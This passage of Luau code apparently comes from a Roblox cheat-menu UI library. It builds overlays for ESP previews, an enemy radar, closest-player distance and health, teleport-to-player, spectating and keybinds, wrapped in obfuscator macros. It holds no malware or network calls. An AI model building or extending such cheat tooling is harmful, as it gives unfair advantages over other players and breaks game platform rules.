Options.PlayerListStatus then local status = enemyPlayers[player] and 'Enemy' or 'Friendly'; if Options.PlayerListStatus.Value ~= status then statusUpdating = true; Options.PlayerListStatus:SetValue(status); statusUpdating = false; end; end; local ok, thumb = pcall(function() return Players:GetUserThumbnailAsync(player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48); end); Avatar.Image = ok and thumb or ''; else SelectedName.Text = 'No player selected'; SelectedName.TextColor3 = Library.FontColor; Avatar.Image = ''; end; end; local refreshPending = false; local function RefreshPlayers() if refreshPending then return end; refreshPending = true; task.defer(function() refreshPending = false; if not PlayerScroll.Parent then return end; for _, btn in playerButtons do btn:Destroy(); end; table.clear(playerButtons); local filter = string.lower(Options.PlayerListSearch and Options.PlayerListSearch.Value or ''); local layoutOrder = 0; for _, player in Players:GetPlayers() do local isLocal = player == LocalPlayer; local displayName = isLocal and (player.Name .. ' (Client)') or player.Name; if filter == '' or string.find(string.lower(displayName), filter, 1, true) then layoutOrder += 1; local isEnemy = enemyPlayers[player]; local Btn = Library:Create('TextButton', { BackgroundTransparency = 1; Size = UDim2.new(1, -8, 0, 22); Text = displayName; TextColor3 = isEnemy and enemyRed or (isLocal and clientGrey or (player == selectedPlayer and Library.AccentColor or Library.FontColor)); TextSize = 13; Font = Library.Font; TextXAlignment = Enum.TextXAlignment.Center; LayoutOrder = layoutOrder; AutoButtonColor = false; ZIndex = PZ + 3; Parent = PlayerScroll; }); Btn.MouseButton1Click:Connect(function() SelectPlayer(player); RefreshPlayers(); end); playerButtons[#playerButtons + 1] = Btn; end; end; PlayerScroll.CanvasSize = UDim2.fromOffset(0, math.max(layoutOrder * 26, 26)); Groupbox:Resize(); end); end; if Options.PlayerListSearch then Options.PlayerListSearch:OnChanged(RefreshPlayers); end; if Options.PlayerListStatus then Options.PlayerListStatus:OnChanged(function() if statusUpdating then return end; if selectedPlayer then enemyPlayers[selectedPlayer] = Options.PlayerListStatus.Value == 'Enemy'; if enemyPlayers[selectedPlayer] then SelectedName.TextColor3 = enemyRed; elseif selectedPlayer == LocalPlayer then SelectedName.TextColor3 = clientGrey; else SelectedName.TextColor3 = Library.FontColor; end; RefreshPlayers(); end; end); end; Players.PlayerAdded:Connect(RefreshPlayers); Players.PlayerRemoving:Connect(function(player) enemyPlayers[player] = nil; if selectedPlayer == player then SelectPlayer(nil); end; RefreshPlayers(); end); TeleportBtn.MouseButton1Click:Connect(function() if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild('HumanoidRootPart') then local char = LocalPlayer.Character; if char and char:FindFirstChild('HumanoidRootPart') then char.HumanoidRootPart.CFrame = selectedPlayer.Character.HumanoidRootPart.CFrame; end; end; end); local spectating; local savedMinZoom, savedMaxZoom, savedCameraMode; local function StopSpectating() if not spectating then return end; spectating = nil; SpectateBtn.Text = 'Spectate'; if savedMinZoom ~= nil then LocalPlayer.CameraMinZoomDistance = savedMinZoom; LocalPlayer.CameraMaxZoomDistance = savedMaxZoom; LocalPlayer.CameraMode = savedCameraMode; savedMinZoom, savedMaxZoom, savedCameraMode = nil, nil, nil; end; local camera = workspace.CurrentCamera; if camera then local char = LocalPlayer.Character; local hum = char and char:FindFirstChildOfClass('Humanoid'); if hum then camera.CameraSubject = hum; end; camera.CameraType = Enum.CameraType.Custom; end; end; Library:GiveSignal(RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if not spectating then return end; if not spectating.Parent then StopSpectating(); return end; local targetCharacter = spectating.Character; local targetHumanoid = targetCharacter and targetCharacter:FindFirstChildOfClass('Humanoid'); local camera = workspace.CurrentCamera; if not targetHumanoid or not camera then return end; if camera.CameraSubject ~= targetHumanoid then camera.CameraSubject = targetHumanoid; end; if camera.CameraType ~= Enum.CameraType.Custom then camera.CameraType = Enum.CameraType.Custom; end; end))); SpectateBtn.MouseButton1Click:Connect(function() if spectating then StopSpectating(); return end; if not selectedPlayer or selectedPlayer == LocalPlayer then return end; local targetCharacter = selectedPlayer.Character; local targetHumanoid = targetCharacter and targetCharacter:FindFirstChildOfClass('Humanoid'); if not targetHumanoid then return end; savedMinZoom = LocalPlayer.CameraMinZoomDistance; savedMaxZoom = LocalPlayer.CameraMaxZoomDistance; savedCameraMode = LocalPlayer.CameraMode; LocalPlayer.CameraMode = Enum.CameraMode.Classic; LocalPlayer.CameraMinZoomDistance = 0.5; LocalPlayer.CameraMaxZoomDistance = 128; spectating = selectedPlayer; SpectateBtn.Text = 'Unspectate'; local camera = workspace.CurrentCamera; if camera then camera.CameraSubject = targetHumanoid; camera.CameraType = Enum.CameraType.Custom; end; end); RefreshPlayers(); task.defer(function() Groupbox:Resize(); Overlay:Resize(); end); Overlay.RefreshPlayers = RefreshPlayers; Overlay.SelectPlayer = SelectPlayer; Library.EnemyPlayers = enemyPlayers; Overlay.EnemyPlayers = enemyPlayers; return Overlay; end; function Library:CreateESPPreviewOverlay(Config) Config = Config or {}; local Overlay = Library:CreateOverlayWindow({ Title = 'ESP Preview'; Size = UDim2.fromOffset(200, 254); Position = Config.Position or UDim2.fromOffset(940, 80); Visible = Config.Visible; ZIndex = Config.ZIndex or 160; }); local Groupbox = Overlay:AddGroupbox({ Name = 'Preview' }); local PreviewHolder = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, -4, 0, 210); ClipsDescendants = true; ZIndex = 8; Parent = Groupbox.Container; }); Library:AddToRegistry(PreviewHolder, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local Viewport = Library:Create('ViewportFrame', { BackgroundColor3 = Color3.fromRGB(25, 25, 25); BorderColor3 = Color3.fromRGB(70, 70, 70); BorderSizePixel = 1; Size = UDim2.new(1, -2, 1, -2); Position = UDim2.new(0, 1, 0, 1); Ambient = Color3.fromRGB(200, 200, 200); LightColor = Color3.fromRGB(255, 255, 255); LightDirection = Vector3.new(-1, -1, -1); ZIndex = 9; Parent = PreviewHolder; }); local worldModel = Instance.new('WorldModel'); worldModel.Parent = Viewport; local camera = Instance.new('Camera'); camera.Parent = Viewport; Viewport.CurrentCamera = camera; local clone; local previewOk = pcall(function() clone = Players:CreateHumanoidModelFromDescriptionAsync( Players:GetHumanoidDescriptionFromUserIdAsync(1), Enum.HumanoidRigType.R15 ); end); if not previewOk or not clone then pcall(function() clone = Players:CreateHumanoidModelFromDescription( Players:GetHumanoidDescriptionFromUserId(1), Enum.HumanoidRigType.R15 ); end); end; if clone then for _, obj in clone:GetDescendants() do if obj:IsA('LocalScript') or obj:IsA('Script') then obj:Destroy(); end; end; clone.Parent = worldModel; local root = clone:WaitForChild('HumanoidRootPart'); local target = root.Position + Vector3.new(0, -0.34, 0); local radius = 5.4; local height = 1; local angle = 0; local speed = math.rad(30); local previewAccum = 0; local previewStep = IsTouchDevice and 0.12 or 0.05; Library:GiveSignal(RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function(dt) if not Overlay.Visible or not Overlay.Outer or not Overlay.Outer.Visible then return end; previewAccum += dt; if previewAccum < previewStep then return end; angle += speed * previewAccum; previewAccum = 0; local offset = Vector3.new( math.sin(angle) * radius, height, math.cos(angle) * radius ); camera.CFrame = CFrame.lookAt(target + offset, target); end))); end; local Box = Library:Create('Frame', { BackgroundTransparency = 1; BorderColor3 = Library.AccentColor; BorderSizePixel = 1; Position = UDim2.new(0.3, 0, 0.1, 0); Size = UDim2.new(0.4, 0, 0.78, 0); ZIndex = 12; Parent = PreviewHolder; }); Library:AddToRegistry(Box, { BorderColor3 = 'AccentColor' }); local HealthBarBg = Library:Create('Frame', { BackgroundColor3 = Color3.fromRGB(40, 40, 40); BorderSizePixel = 0; Position = UDim2.new(0.22, 0, 0.1, 0); Size = UDim2.new(0, 3, 0.78, 0); ZIndex = 12; Parent = PreviewHolder; }); Library:Create('Frame', { BackgroundColor3 = Color3.fromRGB(80, 220, 80); BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 13; Parent = HealthBarBg; }); Library:CreateLabel({ Position = UDim2.new(0.16, 0, 0.42, 0); Size = UDim2.new(0, 20, 0, 14); Text = '100'; TextSize = 11; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = 13; Parent = PreviewHolder; }); Library:CreateLabel({ Position = UDim2.new(0.5, 0, 0.02, 0); Size = UDim2.new(0.5, 0, 0, 14); Text = 'dummy'; TextColor3 = Color3.fromRGB(180, 120, 255); TextSize = 12; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = 13; Parent = PreviewHolder; }); Library:CreateLabel({ Position = UDim2.new(0.72, 0, 0.4, 0); Size = UDim2.new(0.26, 0, 0, 14); Text = 'standing'; TextColor3 = Color3.fromRGB(80, 220, 255); TextSize = 12; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 13; Parent = PreviewHolder; }); Library:CreateLabel({ Position = UDim2.new(0.3, 0, 0.9, 0); Size = UDim2.new(0.2, 0, 0, 14); Text = '12st'; TextColor3 = Color3.fromRGB(255, 80, 80); TextSize = 12; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 13; Parent = PreviewHolder; }); Library:CreateLabel({ Position = UDim2.new(0.52, 0, 0.9, 0); Size = UDim2.new(0.3, 0, 0, 14); Text = 'preview'; TextColor3 = Color3.fromRGB(80, 220, 120); TextSize = 12; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 13; Parent = PreviewHolder; }); Overlay.Viewport = Viewport; Overlay.Box = Box; Groupbox:Resize(); return Overlay; end; function Library:CreateClosestPlayerOverlay(Config) Config = Config or {}; local Overlay = Library:CreateOverlayWindow({ Title = 'Closest Player'; AccentPart = 'Player'; Size = UDim2.fromOffset(196, 56); Position = Config.Position or UDim2.fromOffset(40, 580); Visible = Config.Visible; ZIndex = Config.ZIndex or 165; }); local Z = Overlay.ZIndexBase + 5; local AvatarSize = 48; local ColumnGap = 6; local NameHeight = 14; local DistanceHeight = 13; local HealthTextHeight = 12; local HealthBarHeight = 8; local RowGap = 2; local HealthBlockHeight = HealthTextHeight + RowGap + HealthBarHeight; local InfoHeight = NameHeight + RowGap + DistanceHeight + RowGap + HealthBlockHeight; local PanelHeight = math.max(AvatarSize, InfoHeight); local Panel = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, -4, 0, PanelHeight); ZIndex = Z; Parent = Overlay.Container; }); local Avatar = Library:Create('ImageLabel', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(0, 0, 0, math.floor((PanelHeight - AvatarSize) / 2)); Size = UDim2.fromOffset(AvatarSize, AvatarSize); ZIndex = Z + 1; Parent = Panel; }); Library:AddToRegistry(Avatar, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local InfoColumn = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, AvatarSize + ColumnGap, 0, 0); Size = UDim2.new(1, -(AvatarSize + ColumnGap), 0, InfoHeight); ZIndex = Z + 1; Parent = Panel; }); Library:Create('UIListLayout', { Padding = UDim.new(0, RowGap); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = InfoColumn; }); local NameLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, NameHeight); LayoutOrder = 1; Text = 'None'; TextSize = 13; TextTruncate = Enum.TextTruncate.AtEnd; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z + 2; Parent = InfoColumn; }); local DistanceLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, DistanceHeight); LayoutOrder = 2; Text = '—st'; TextSize = 12; TextTransparency = 0.15; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z + 2; Parent = InfoColumn; }); Library:AddToRegistry(DistanceLabel, { TextColor3 = 'AccentColor'; }, true); local HealthBlock = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, 0, 0, HealthBlockHeight); LayoutOrder = 3; ZIndex = Z + 2; Parent = InfoColumn; }); local HealthLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, HealthTextHeight); Text = '0'; TextSize = 12; TextXAlignment = Enum.TextXAlignment.Right; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z + 3; Parent = HealthBlock; }); local HealthBarOuter = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(0, 0, 1, -HealthBarHeight); Size = UDim2.new(1, 0, 0, HealthBarHeight); ClipsDescendants = true; ZIndex = Z + 3; Parent = HealthBlock; }); Library:AddToRegistry(HealthBarOuter, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local HealthBarFill = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(0, 0, 1, 0); ZIndex = Z + 4; Parent = HealthBarOuter; }); Library:AddToRegistry(HealthBarFill, { BackgroundColor3 = 'AccentColor'; }); local trackedThumbId; local healthTween; local refreshAccum = 0; local function FitOverlay() local nameWidth = select(1, Library:GetTextBounds(NameLabel.Text, Library.Font, 13)); local width = math.ceil(nameWidth + AvatarSize + ColumnGap + 24); width = math.clamp(width, 180, 280); Panel.Size = UDim2.new(1, -4, 0, PanelHeight); Overlay.Container.Size = UDim2.new(1, -8, 0, PanelHeight); Overlay.Container.CanvasSize = UDim2.fromOffset(0, PanelHeight); if Overlay.ContentOuter then Overlay.ContentOuter.Size = UDim2.new(1, -12, 0, PanelHeight + 8); end; Overlay.Outer.Size = UDim2.fromOffset(width, 26 + PanelHeight + 8 + 6); end; function Overlay:Resize() FitOverlay(); end; local function SetHealth(ratio, healthValue) ratio = math.clamp(ratio, 0, 1); HealthLabel.Text = tostring(math.floor(healthValue + 0.5)); if healthTween then healthTween:Cancel(); end; healthTween = TweenService:Create(HealthBarFill, TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = UDim2.new(ratio, 0, 1, 0); }); healthTween:Play(); end; local function ClearTarget() trackedThumbId = nil; Avatar.Image = ''; NameLabel.Text = 'None'; DistanceLabel.Text = '—st'; SetHealth(0, 0); FitOverlay(); end; local function UpdateAvatar(player) if not player or trackedThumbId == player.UserId then return end; trackedThumbId = player.UserId; local userId = player.UserId; task.spawn(function() local ok, thumb = pcall(function() return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48); end); if trackedThumbId == userId then Avatar.Image = ok and thumb or ''; end; end); end; local function GetClosestPlayer() local localChar = LocalPlayer.Character; local localRoot = localChar and localChar:FindFirstChild('HumanoidRootPart'); if not localRoot then return nil; end; local closestPlayer; local closestDistance = math.huge; for _, player in Players:GetPlayers() do if player ~= LocalPlayer then local character = player.Character; local root = character and character:FindFirstChild('HumanoidRootPart'); if root then local distance = (root.Position - localRoot.Position).Magnitude; if distance < closestDistance then closestDistance = distance; closestPlayer = player; end; end; end; end; return closestPlayer, closestDistance; end; function Overlay:Refresh() if not Overlay.Visible or not Overlay.Outer or not Overlay.Outer.Visible then return end; local player, distance = GetClosestPlayer(); if not player then ClearTarget(); return end; NameLabel.Text = player.DisplayName; DistanceLabel.Text = string.format('%dst', math.floor(distance + 0.5)); UpdateAvatar(player); local humanoid = player.Character and player.Character:FindFirstChildOfClass('Humanoid'); if humanoid and humanoid.MaxHealth > 0 then SetHealth(humanoid.Health / humanoid.MaxHealth, humanoid.Health); else SetHealth(0, 0); end; FitOverlay(); end; Library:GiveSignal(RunService.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(Delta) if not Overlay.Visible or not Overlay.Outer or not Overlay.Outer.Visible then return end; refreshAccum += Delta; if refreshAccum < 0.1 then return end; refreshAccum = 0; Overlay:Refresh(); end))); Library.ClosestPlayerOverlay = Overlay; task.defer(function() Overlay:Refresh(); FitOverlay(); end); return Overlay; end; function Library:CreateKeybindsOverlay(Config) Config = Config or {}; local Overlay = Library:CreateOverlayWindow({ Title = 'Keybinds'; Size = UDim2.fromOffset(196, 86); Position = Config.Position or UDim2.fromOffset(40, 490); Visible = Config.Visible; ZIndex = Config.ZIndex or 170; }); if Library.KeybindContainer then if Overlay.Container then Overlay.Container.Visible = false; end; Library.KeybindContainer.Parent = Overlay.ContentInner or Overlay.Inner; Library.KeybindContainer.Visible = true; Library.KeybindContainer.Position = UDim2.new(0, 6, 0, 4); Library.KeybindContainer.Size = UDim2.new(1, -12, 0, 0); Library.KeybindContainer.ZIndex = Overlay.Outer.ZIndex + 12; Library:SyncKeybindRowsZIndex(); for _, option in Options do if type(option) == 'table' and option.Type == 'KeyPicker' and option.Update then option:Update(); end; end; end; function Overlay:SetVisible(Bool) Overlay.Visible = not not Bool; Overlay.Outer.Visible = Overlay.Visible; Library:UpdateOverlayGlow(Overlay); end; Library.KeybindOverlay = Overlay; Library.KeybindTitleLabel = Overlay.TitleLabel; function Overlay:Resize() if Library.KeybindOverlayCompact or Library._UpdatingKeybindOverlaySize then return end; Library:UpdateKeybindOverlaySize(); end; task.defer(function() Library:UpdateKeybindOverlaySize(); end); return Overlay; end; function Library:CreateRadarOverlay(Config) Config = Config or {}; local MapSize = Config.MapSize or 176; local Range = Config.Range or 120; local SampleGrid = Config.SampleGrid or (IsTouchDevice and 28 or 44); local FramePad = Config.FramePad or 12; local BlipPixel = Config.BlipPixel or 3; local ContentSize = MapSize + FramePad * 2; local OuterWidth = ContentSize + 12; local OuterHeight = 26 + ContentSize + 8; local Overlay = Library:CreateOverlayWindow({ Title = 'Radar'; AccentPart = 'ar'; Size = UDim2.fromOffset(OuterWidth, OuterHeight); Position = Config.Position or UDim2.fromOffset(40, 40); Visible = Config.Visible; ZIndex = Config.ZIndex or 160; }); local ListLayout = Overlay.Container:FindFirstChildOfClass('UIListLayout'); if ListLayout then ListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center; ListLayout.Padding = UDim.new(0, 0); end; Overlay.Container.ScrollBarThickness = 0; Overlay.Container.ScrollingEnabled = false; Overlay.Container.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Right; local Z = Overlay.ZIndexBase + 15; local Panel = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.fromOffset(ContentSize, ContentSize); ZIndex = Z; Parent = Overlay.Container; }); local MapOuter = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.fromOffset(MapSize, MapSize); ClipsDescendants = true; ZIndex = Z + 1; Parent = Panel; }); Library:AddToRegistry(MapOuter, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local MapCanvas = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(10, 10, 12); BorderSizePixel = 0; ClipsDescendants = true; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.new(1, -4, 1, -4); ZIndex = Z + 2; Parent = MapOuter; }); local MapImage = Library:Create('ImageLabel', { BackgroundColor3 = Color3.fromRGB(10, 10, 12); BorderSizePixel = 0; Size = UDim2.fromScale(1, 1); ZIndex = Z + 2; Parent = MapCanvas; }); local PixelGrid = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.fromScale(1, 1); ZIndex = Z + 2; Visible = false; Parent = MapCanvas; }); local PixelFrames = table.create(SampleGrid * SampleGrid); local function LayoutPixelGrid() local CanvasX = math.max(MapCanvas.AbsoluteSize.X, MapSize - 4); local CanvasY = math.max(MapCanvas.AbsoluteSize.Y, MapSize - 4); local PixelW = CanvasX / SampleGrid; local PixelH = CanvasY / SampleGrid; for row = 0, SampleGrid - 1 do for col = 0, SampleGrid - 1 do local Index = row * SampleGrid + col + 1; local Pixel = PixelFrames[Index]; if Pixel then Pixel.Position = UDim2.fromOffset(col * PixelW, row * PixelH); Pixel.Size = UDim2.fromOffset(PixelW, PixelH); end; end; end; end; for row = 0, SampleGrid - 1 do for col = 0, SampleGrid - 1 do local Pixel = Library:Create('Frame', { BackgroundColor3 = Color3.fromRGB(10, 10, 12); BorderSizePixel = 0; ZIndex = Z + 2; Parent = PixelGrid; }); table.insert(PixelFrames, Pixel); end; end; local CrosshairH = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Library.OutlineColor; BackgroundTransparency = 0.65; BorderSizePixel = 0; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.new(1, 0, 0, 1); ZIndex = Z + 3; Parent = MapCanvas; }); local CrosshairV = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Library.OutlineColor; BackgroundTransparency = 0.65; BorderSizePixel = 0; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.new(0, 1, 1, 0); ZIndex = Z + 3; Parent = MapCanvas; }); Library:AddToRegistry(CrosshairH, { BackgroundColor3 = 'OutlineColor' }); Library:AddToRegistry(CrosshairV, { BackgroundColor3 = 'OutlineColor' }); local BlipContainer = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.fromScale(1, 1); ZIndex = Z + 5; Parent = MapCanvas; }); local MaxBlips = Config.MaxBlips or 32; local BlipPool = table.create(MaxBlips); local EnemyColor = Color3.fromRGB(255, 48, 48); for Index = 1, MaxBlips do BlipPool[Index] = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = EnemyColor; BorderSizePixel = 0; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.fromOffset(BlipPixel, BlipPixel); Visible = false; ZIndex = Z + 6; Parent = BlipContainer; }); Library:Create('UICorner', { CornerRadius = UDim.new(1, 0); Parent = BlipPool[Index]; }); end; local ArrowHolder = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundTransparency = 1; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.fromOffset(16, 16); ZIndex = Z + 7; Parent = MapCanvas; }); local Arrow = Library:CreateLabel({ AnchorPoint = Vector2.new(0.5, 0.5); Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.fromOffset(16, 16); Text = '▲'; TextSize = 13; TextXAlignment = Enum.TextXAlignment.Center; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z + 8; Parent = ArrowHolder; }, true); Library:AddToRegistry(Arrow, { TextColor3 = 'AccentColor'; }, true); local CenterDot = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.fromScale(0.5, 0.5); Size = UDim2.fromOffset(3, 3); ZIndex = Z + 8; Parent = MapCanvas; }); Library:AddToRegistry(CenterDot, { BackgroundColor3 = 'AccentColor'; }); local RayParams = RaycastParams.new(); RayParams.FilterType = Enum.RaycastFilterType.Exclude; local EditableImage; local UseEditableImage = false; pcall(function() local AssetService = game:GetService('AssetService'); EditableImage = AssetService:CreateEditableImage(Vector2.new(SampleGrid, SampleGrid)); MapImage.Image = EditableImage; UseEditableImage = true; PixelGrid.Visible = false; end); if not UseEditableImage then pcall(function() EditableImage = Instance.new('EditableImage'); EditableImage.Size = Vector2.new(SampleGrid, SampleGrid); MapImage.Image = EditableImage; UseEditableImage = true; PixelGrid.Visible = false; end); end; if not UseEditableImage then PixelGrid.Visible = true; MapImage.Visible = false; task.defer(LayoutPixelGrid); end; local function GetRaycastFilter() local Filter = {}; for _, Player in Players:GetPlayers() do if Player.Character then table.insert(Filter, Player.Character); end; end; return Filter; end; local function GetHitColor(Result) if not Result then return Color3.fromRGB(10, 10, 12); end; if Result.Instance == workspace.Terrain then return workspace.Terrain:GetMaterialColor(Result.Material); end; local Part = Result.Instance; if Part:IsA('BasePart') then return Part.Color; end; return Color3.fromRGB(10, 10, 12); end; local function IsEnemyPlayer(Player) if Player == LocalPlayer then return false; end; if Library.EnemyPlayers and Library.EnemyPlayers[Player] then return true; end; if type(Config.IsEnemy) == 'function' then return not not Config.IsEnemy(Player); end; local MyTeam = LocalPlayer.Team; local TheirTeam = Player.Team; if MyTeam and TheirTeam then return MyTeam ~= TheirTeam; end; return true; end; local function WorldToRadarNorm(Origin, WorldPos) local Offset = WorldPos - Origin; local NormX = Offset.X / Range; local NormZ = Offset.Z / Range; local DistSq = NormX * NormX + NormZ * NormZ; if DistSq > 1 then local Dist = math.sqrt(DistSq); NormX /= Dist; NormZ /= Dist; end; return NormX, NormZ; end; local function FitOverlay() Panel.Size = UDim2.fromOffset(ContentSize, ContentSize); Overlay.Container.Size = UDim2.new(1, -8, 0, ContentSize); Overlay.Container.CanvasSize = UDim2.fromOffset(0, ContentSize); if Overlay.ContentOuter then Overlay.ContentOuter.Size = UDim2.new(1, -12, 0, ContentSize + 8); end; Overlay.Outer.Size = UDim2.fromOffset(OuterWidth, OuterHeight); LayoutPixelGrid(); end; function Overlay:Resize() FitOverlay(); end; local terrainAccum = 0; local terrainInterval = 1; local function UpdateTerrain() local Character = LocalPlayer.Character; local Root = Character and Character:FindFirstChild('HumanoidRootPart'); if not Root then return end; RayParams.FilterDescendantsInstances = GetRaycastFilter(); local Origin = Root.Position; local HalfGrid = SampleGrid / 2; local Step = (Range * 2) / SampleGrid; for row = 0, SampleGrid - 1 do for col = 0, SampleGrid - 1 do local OffsetX = (col - HalfGrid + 0.5) * Step; local OffsetZ = (row - HalfGrid + 0.5) * Step; local SamplePos = Origin + Vector3.new(OffsetX, 0, OffsetZ); local RayOrigin = SamplePos + Vector3.new(0, 512, 0); local Result = workspace:Raycast(RayOrigin, Vector3.new(0, -1024, 0), RayParams); local Color = GetHitColor(Result); if UseEditableImage and EditableImage then pcall(function() EditableImage:SetRGB(col, row, Color); end); else local Pixel = PixelFrames[row * SampleGrid + col + 1]; if Pixel then Pixel.BackgroundColor3 = Color; end; end; end; end; end; local UpdateBlips = LPH_NO_VIRTUALIZE(function(Root, Camera) local Origin = Root.Position; local BlipIndex = 0; for _, Player in Players:GetPlayers() do if Player ~= LocalPlayer and IsEnemyPlayer(Player) then local Character = Player.Character; local OtherRoot = Character and Character:FindFirstChild('HumanoidRootPart'); if OtherRoot then BlipIndex += 1; local Blip = BlipPool[BlipIndex]; if Blip then local NormX, NormZ = WorldToRadarNorm(Origin, OtherRoot.Position); Blip.BackgroundColor3 = EnemyColor; Blip.Size = UDim2.fromOffset(BlipPixel, BlipPixel); Blip.Position = UDim2.fromScale(NormX * 0.5 + 0.5, NormZ * 0.5 + 0.5); Blip.Visible = true; end; end; end; end; for Index = BlipIndex + 1, MaxBlips do local Blip = BlipPool[Index]; if Blip then Blip.Visible = false; end; end; local Look = Camera.CFrame.LookVector; ArrowHolder.Rotation = math.deg(math.atan2(Look.X, -Look.Z)); end); local UpdateRadar = LPH_NO_VIRTUALIZE(function(Delta) if not Overlay.Visible then return end; local Character = LocalPlayer.Character; local Root = Character and Character:FindFirstChild('HumanoidRootPart'); local Camera = workspace.CurrentCamera; if not Root or not Camera then for Index = 1, MaxBlips do BlipPool[Index].Visible = false; end; return end; terrainAccum += Delta; if terrainAccum >= terrainInterval then terrainAccum = 0; UpdateTerrain(); end; UpdateBlips(Root, Camera); end); function Overlay:SetVisible(Bool) Overlay.Visible = not not Bool; Overlay.Outer.Visible = Overlay.Visible; Library:UpdateOverlayGlow(Overlay); end; Overlay._RadarUpdate = RunService.RenderStepped:Connect(UpdateRadar); Library:GiveSignal(Overlay._RadarUpdate); Library.RadarOverlay = Overlay; task.defer(function() FitOverlay(); UpdateTerrain(); end); return Overlay; end; function Library:CreateVelocityGraphOverlay(Config) Config = Config or {}; local BoxWidth = Config.Width or 200; local BoxHeight = Config.Height or 80; local LabelHeight = 16; local LabelGap = 4; local ContentHeight = LabelHeight + LabelGap + BoxHeight; local OuterWidth = BoxWidth + 24; local OuterHeight = 26 + ContentHeight + 14; local Overlay = Library:CreateOverlayWindow({ Title = 'Velocity'; AccentPart = 'ity'; Size = UDim2.fromOffset(OuterWidth, OuterHeight); Position = Config.Position or UDim2.new(0.5, -OuterWidth / 2, 1, -240); Visible = Config.Visible; ZIndex = Config.ZIndex or 155; }); local Z = Overlay.ZIndexBase + 15; local Content = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, -4, 0, ContentHeight); ZIndex = Z; Parent = Overlay.Container; }); local SpeedLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, LabelHeight); Text = 'SPEED: 0'; TextSize = 13; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = Z + 2; Parent = Content; }); local GraphArea = Library:Create('Frame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Position = UDim2.new(0, 0, 0, LabelHeight + LabelGap); Size = UDim2.new(1, 0, 0, BoxHeight); ZIndex = Z + 1; Parent = Content; }); local GraphState = { Lines = {}; LastY = BoxHeight - 2; LinePool = {}; MaxLines = BoxWidth; }; for Index = 1, GraphState.MaxLines do GraphState.LinePool[Index] = Library:Create('Frame', { AnchorPoint = Vector2.new(0, 0.5); BackgroundColor3 = Color3.fromRGB(220, 220, 220); BorderSizePixel = 0; Visible = false; ZIndex = Z + 3; Parent = GraphArea; }); end; local function FitOverlay() Content.Size = UDim2.new(1, -4, 0, ContentHeight); Overlay.Container.Size = UDim2.new(1, -8, 0, ContentHeight); Overlay.Container.CanvasSize = UDim2.fromOffset(0, ContentHeight); if Overlay.ContentOuter then Overlay.ContentOuter.Size = UDim2.new(1, -12, 0, ContentHeight + 8); end; 